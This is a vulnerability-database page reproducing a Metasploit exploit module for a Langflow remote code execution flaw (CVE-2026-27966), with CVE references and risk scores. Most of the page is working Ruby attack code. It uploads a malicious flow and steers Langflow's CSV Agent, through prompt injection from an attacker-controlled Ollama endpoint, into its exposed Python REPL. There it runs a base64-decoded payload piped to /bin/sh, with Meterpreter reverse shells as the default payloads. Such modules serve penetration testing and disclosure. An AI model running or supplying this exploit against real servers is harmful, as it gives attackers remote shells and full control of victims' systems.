Lucene search
+L

Langflow RCE

🗓️ 23 Apr 2026 19:00:06Reported by weblover12, Takahiro YokoyamaType 
metasploit
 metasploit
🔗 www.rapid7.com👁 409 Views

Langflow CSV Agent exposes Python REPL via allow_dangerous_code, enabling prompt injection and remote code execution.

Related
Code
ReporterTitlePublishedViews
Family
GithubExploit
Exploit for Code Injection in Langflow
5 Jul 202619:59
githubexploit
ATTACKERKB
CVE-2026-27966
26 Feb 202601:55
attackerkb
Circl
CVE-2026-27966
25 Feb 202619:06
circl
CNNVD
Langflow 安全漏洞
26 Feb 202600:00
cnnvd
CVE
CVE-2026-27966
26 Feb 202601:55
cve
Cvelist
CVE-2026-27966 Langflow has Remote Code Execution in CSV Agent
26 Feb 202601:55
cvelist
EUVD
EUVD-2026-8819
27 Feb 202615:47
euvd
Github Security Blog
Langflow has Remote Code Execution in CSV Agent
27 Feb 202615:47
github
NVD
CVE-2026-27966
26 Feb 202602:16
nvd
OSV
CVE-2026-27966 Langflow has Remote Code Execution in CSV Agent
26 Feb 202601:55
osv
Rows per page
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Post::File

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Langflow RCE',
        'Description' => %q{
          The CSV Agent node in Langflow hardcodes allow_dangerous_code=True, which automatically exposes LangChain's Python REPL tool (python_repl_ast).
          As a result, an attacker can execute arbitrary Python and OS commands on the server via prompt injection, leading to full Remote Code Execution (RCE).
        },
        'Author' => [
          'weblover12',        # Vulnerability discovery and PoC
          'Takahiro Yokoyama'  # Metasploit module
        ],
        'License' => MSF_LICENSE,
        'References' => [
          ['CVE', '2026-27966'],
          ['GHSA', '3645-fxcv-hqr4'],
        ],
        'Targets' => [
          [
            'Linux Command', {
              'Arch' => [ ARCH_CMD ], 'Platform' => [ 'unix', 'linux' ], 'Type' => :nix_cmd,
              'DefaultOptions' => {
                'PAYLOAD' => 'cmd/linux/http/x64/meterpreter_reverse_tcp'
              }
            }
          ],
          [
            'Python payload',
            {
              'Platform' => 'python',
              'Arch' => ARCH_PYTHON,
              'DefaultOptions' => { 'PAYLOAD' => 'python/meterpreter/reverse_tcp' }
            }
          ]
        ],
        'DefaultTarget' => 0,
        'DefaultOptions' => {
          'WfsDelay' => 300,
          'FETCH_DELETE' => true
        },
        'Payload' => {
          'BadChars' => '"'
        },
        'DisclosureDate' => '2026-02-25',
        'Notes' => {
          'Stability' => [ CRASH_SAFE, ],
          'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],
          'Reliability' => [ REPEATABLE_SESSION, ]
        }
      )
    )
    register_options(
      [
        Opt::RPORT(7860),
        OptString.new('APIKEY', [ true, 'Langflow API key to interact with Langflow.', '' ]),
        OptString.new('OLLAMAAPIURI', [ true, 'Endpoint of the OLLAMA API controlled by an attacker.', '' ]),
        OptString.new('MODEL', [ true, 'Valid ollama model name.', '' ]),
      ]
    )
  end

  def check
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'api/v1/version')
    })
    return Exploit::CheckCode::Unknown('Unexpected server reply.') unless res&.code == 200

    json_version = res&.get_json_document&.fetch('version', nil)
    return Exploit::CheckCode::Unknown('Failed to parse version.') unless json_version

    version = Rex::Version.new(json_version)
    return Exploit::CheckCode::Unknown('Failed to get version.') unless version

    return Exploit::CheckCode.Safe("Version #{version} detected. Which is not vulnerable.") if version >= Rex::Version.new('1.8.0')

    # check if API key is valid
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'api/v1/users/whoami'),
      'headers' => {
        'x-api-key' => datastore['APIKEY']
      }
    })
    return Exploit::CheckCode::Appears("Version #{version} detected and API key is valid. Which is vulnerable.") if res&.code == 200

    Exploit::CheckCode.Safe("Version #{version} detected and API key is invalid. Which is not vulnerable.")
  end

  def exploit
    res = send_request_cgi({
      'uri' => normalize_uri(target_uri, 'api/v1/projects/'),
      'method' => 'POST',
      'ctype' => 'application/json',
      'headers' => {
        'x-api-key' => datastore['APIKEY']
      },
      'data' => {
        'name' => rand_text_alphanumeric(8),
        'description' => 'string',
        'components_list' => [],
        'flows_list' => []
      }.to_json
    })
    @folder_id = res&.get_json_document&.fetch('id', nil)
    fail_with(Failure::Unknown, 'Failed to create a new project.') unless @folder_id
    print_status("Project: #{@folder_id}")

    # construct POST data
    fname = "#{rand_text_alphanumeric(8)}.csv"
    data = Rex::MIME::Message.new
    data.add_part("#{rand_text_alphanumeric(2)},#{rand_text_alphanumeric(2)}", 'application/csv', nil, "form-data; name=\"file\"; filename=\"#{fname}\"")
    res = send_request_cgi({
      'uri' => normalize_uri(target_uri, 'api/v2/files'),
      'method' => 'POST',
      'headers' => {
        'x-api-key' => datastore['APIKEY']
      },
      'ctype' => "multipart/form-data; boundary=#{data.bound}",
      'data' => data.to_s
    })
    path = res&.get_json_document&.fetch('path')
    fail_with(Failure::Unknown, 'Failed to upload a csv file.') unless path
    @fid = res&.get_json_document&.fetch('id')

    exploit_data = exploit_data('CVE-2026-27966', 'cve_2026_27966.json')
    exploit_data = exploit_data.gsub('__FOLDERID__', @folder_id)
    exploit_data = exploit_data.gsub('__MODELNAME__', datastore['MODEL'])
    exploit_data = exploit_data.gsub('__OLLAMAAPIURI__', datastore['OLLAMAAPIURI'])
    exploit_data = exploit_data.gsub('__FILEPATH__', path)
    case target['Arch']
    when ARCH_PYTHON
      payload_data = payload.encode
    else
      payload_data = "__import__('os').system('echo #{Rex::Text.encode_base64(payload.encoded)}|base64 -d|/bin/sh')"
    end
    exploit_data = exploit_data.gsub('__PAYLOAD__', payload_data)
    exploit_data = exploit_data.gsub('__NAME__', rand_text_alphanumeric(8))
    # construct POST data
    data = Rex::MIME::Message.new
    data.add_part(exploit_data, 'application/json', nil, "form-data; name=\"file\"; filename=\"#{rand_text_alphanumeric(3..9)}.json\"")

    # Import a flow
    res = send_request_cgi({
      'uri' => normalize_uri(target_uri, 'api/v1/flows/upload/'),
      'method' => 'POST',
      'ctype' => "multipart/form-data; boundary=#{data.bound}",
      'data' => data.to_s,
      'vars_get' => { 'folder_id' => @folder_id },
      'headers' => {
        'x-api-key' => datastore['APIKEY']
      }
    })
    fail_with(Failure::Unknown, 'Temporary failed to import a flow.') unless res&.get_json_document.is_a?(Array)
    flow_id = res&.get_json_document&.first&.fetch('id', nil)
    fail_with(Failure::Unknown, 'Failed to import a flow.') unless flow_id
    print_status("Flow: #{flow_id}")

    # Execute
    res = send_request_cgi({
      'uri' => normalize_uri(target_uri, "api/v1/build/#{flow_id}/flow"),
      'method' => 'POST',
      'ctype' => 'application/json',
      'headers' => {
        'x-api-key' => datastore['APIKEY']
      }
    })
    job = res&.get_json_document&.fetch('job_id')
    fail_with(Failure::Unknown, 'Unexpected server reply.') unless job
    print_status("Job: #{job}")
    print_status('Waiting...')
  end

  def cleanup
    super
    if @fid
      send_request_cgi({
        'uri' => normalize_uri(target_uri, "api/v2/files/#{@fid}"),
        'method' => 'DELETE',
        'headers' => {
          'x-api-key' => datastore['APIKEY']
        }
      })
    end
    if @folder_id
      send_request_cgi({
        'uri' => normalize_uri(target_uri, "api/v1/projects/#{@folder_id}"),
        'method' => 'DELETE',
        'headers' => {
          'x-api-key' => datastore['APIKEY']
        }
      })
    end
  end

end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

14 Jul 2026 19:06Current
7.7High risk
Vulners AI Score7.7
CVSS 3.19.8
EPSS0.33694
SSVC
409